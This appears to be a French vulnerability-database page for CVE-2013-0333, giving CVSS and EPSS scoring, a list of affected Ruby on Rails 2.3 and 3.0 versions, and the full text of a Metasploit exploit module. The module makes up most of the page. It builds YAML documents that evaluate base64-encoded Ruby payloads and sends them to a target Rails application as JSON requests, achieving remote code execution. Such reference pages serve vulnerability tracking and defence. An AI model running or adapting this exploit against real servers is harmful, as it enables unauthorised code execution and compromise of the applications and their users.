Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
7.5 |
|
AV:N/AC:L/Au:N/C:P/I:P/A:P |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 24434
Date de publication : 2013-01-28 23h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::CmdStagerTFTP
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Ruby on Rails JSON Processor YAML Deserialization Code Execution',
'Description' => %q{
This module exploits a remote code execution vulnerability in the
JSON request processor of the Ruby on Rails application framework.
This vulnerability allows an attacker to instantiate a remote object,
which in turn can be used to execute any ruby code remotely in the
context of the application. This vulnerability is very similar to
CVE-2013-0156.
This module has been tested successfully on RoR 3.0.9, 3.0.19, and
2.3.15.
The technique used by this module requires the target to be running a
fairly recent version of Ruby 1.9 (since 2011 or so). Applications
using Ruby 1.8 may still be exploitable using the init_with() method,
but this has not been demonstrated.
},
'Author' =>
[
'jjarmoc', # Initial module based on cve-2013-0156, testing help
'egypt', # Module
'lian', # Identified the RouteSet::NamedRouteCollection vector
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2013-0333'],
],
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Privileged' => false,
'Targets' => [ ['Automatic', {} ] ],
'DisclosureDate' => 'Jan 28 2013',
'DefaultOptions' => { "PrependFork" => true },
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"])
], self.class)
end
#
# Create the YAML document that will be embedded into the JSON
#
def build_yaml_rails2
code = Rex::Text.encode_base64(payload.encoded)
yaml =
"--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n" +
"'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " +
"eval(%[#{code}].unpack(%[m0])[0]);' " +
": !ruby/object:ActionController::Routing::Route\n segments: []\n requirements:\n " +
":#{Rex::Text.rand_text_alpha(rand(8)+1)}:\n :#{Rex::Text.rand_text_alpha(rand(8)+1)}: " +
":#{Rex::Text.rand_text_alpha(rand(8)+1)}\n"
yaml.gsub(':', '\u003a')
end
#
# Create the YAML document that will be embedded into the JSON
#
def build_yaml_rails3
code = Rex::Text.encode_base64(payload.encoded)
yaml =
"--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" +
"'#{Rex::Text.rand_text_alpha(rand(8)+1)};eval(%[#{code}].unpack(%[m0])[0]);' " +
": !ruby/object:OpenStruct\n table:\n :defaults: {}\n"
yaml.gsub(':', '\u003a')
end
def build_request(v)
case v
when 2; build_yaml_rails2
when 3; build_yaml_rails3
end
end
#
# Send the actual request
#
def exploit
[2, 3].each do |ver|
print_status("Sending Railsv#{ver} request to #{rhost}:#{rport}...")
send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'method' => datastore['HTTP_METHOD'],
'ctype' => 'application/json',
'headers' => { 'X-HTTP-Method-Override' => 'get' },
'data' => build_request(ver)
}, 25)
handler
end
end
end
Products Mentioned
Configuraton 0
Rubyonrails>>Rails >> Version 2.3.0
Rubyonrails>>Rails >> Version 2.3.1
Rubyonrails>>Rails >> Version 2.3.2
Rubyonrails>>Rails >> Version 2.3.3
Rubyonrails>>Rails >> Version 2.3.4
Rubyonrails>>Rails >> Version 2.3.9
Rubyonrails>>Rails >> Version 2.3.10
Rubyonrails>>Rails >> Version 2.3.11
Rubyonrails>>Rails >> Version 2.3.12
Rubyonrails>>Rails >> Version 2.3.13
Rubyonrails>>Rails >> Version 2.3.14
Rubyonrails>>Rails >> Version 2.3.15
Configuraton 0
Rubyonrails>>Rails >> Version 3.0.0
Rubyonrails>>Rails >> Version 3.0.0
Rubyonrails>>Rails >> Version 3.0.0
Rubyonrails>>Rails >> Version 3.0.0
Rubyonrails>>Rails >> Version 3.0.0
Rubyonrails>>Rails >> Version 3.0.0
Rubyonrails>>Rails >> Version 3.0.0
Rubyonrails>>Rails >> Version 3.0.1
Rubyonrails>>Rails >> Version 3.0.1
Rubyonrails>>Rails >> Version 3.0.2
Rubyonrails>>Rails >> Version 3.0.2
Rubyonrails>>Rails >> Version 3.0.3
Rubyonrails>>Rails >> Version 3.0.4
Rubyonrails>>Rails >> Version 3.0.5
Rubyonrails>>Rails >> Version 3.0.5
Rubyonrails>>Rails >> Version 3.0.6
Rubyonrails>>Rails >> Version 3.0.6
Rubyonrails>>Rails >> Version 3.0.6
Rubyonrails>>Rails >> Version 3.0.7
Rubyonrails>>Rails >> Version 3.0.7
Rubyonrails>>Rails >> Version 3.0.7
Rubyonrails>>Rails >> Version 3.0.8
Rubyonrails>>Rails >> Version 3.0.8
Rubyonrails>>Rails >> Version 3.0.8
Rubyonrails>>Rails >> Version 3.0.8
Rubyonrails>>Rails >> Version 3.0.8
Rubyonrails>>Rails >> Version 3.0.9
Rubyonrails>>Rails >> Version 3.0.9
Rubyonrails>>Rails >> Version 3.0.9
Rubyonrails>>Rails >> Version 3.0.9
Rubyonrails>>Rails >> Version 3.0.9
Rubyonrails>>Rails >> Version 3.0.9
Rubyonrails>>Rails >> Version 3.0.10
Rubyonrails>>Rails >> Version 3.0.10
Rubyonrails>>Rails >> Version 3.0.11
Rubyonrails>>Rails >> Version 3.0.12
Rubyonrails>>Rails >> Version 3.0.12
Rubyonrails>>Rails >> Version 3.0.13
Rubyonrails>>Rails >> Version 3.0.13
Rubyonrails>>Rails >> Version 3.0.14
Rubyonrails>>Rails >> Version 3.0.16
Rubyonrails>>Rails >> Version 3.0.17
Rubyonrails>>Rails >> Version 3.0.18
Rubyonrails>>Rails >> Version 3.0.19
Rubyonrails>>Ruby_on_rails >> Version 3.0.4
Références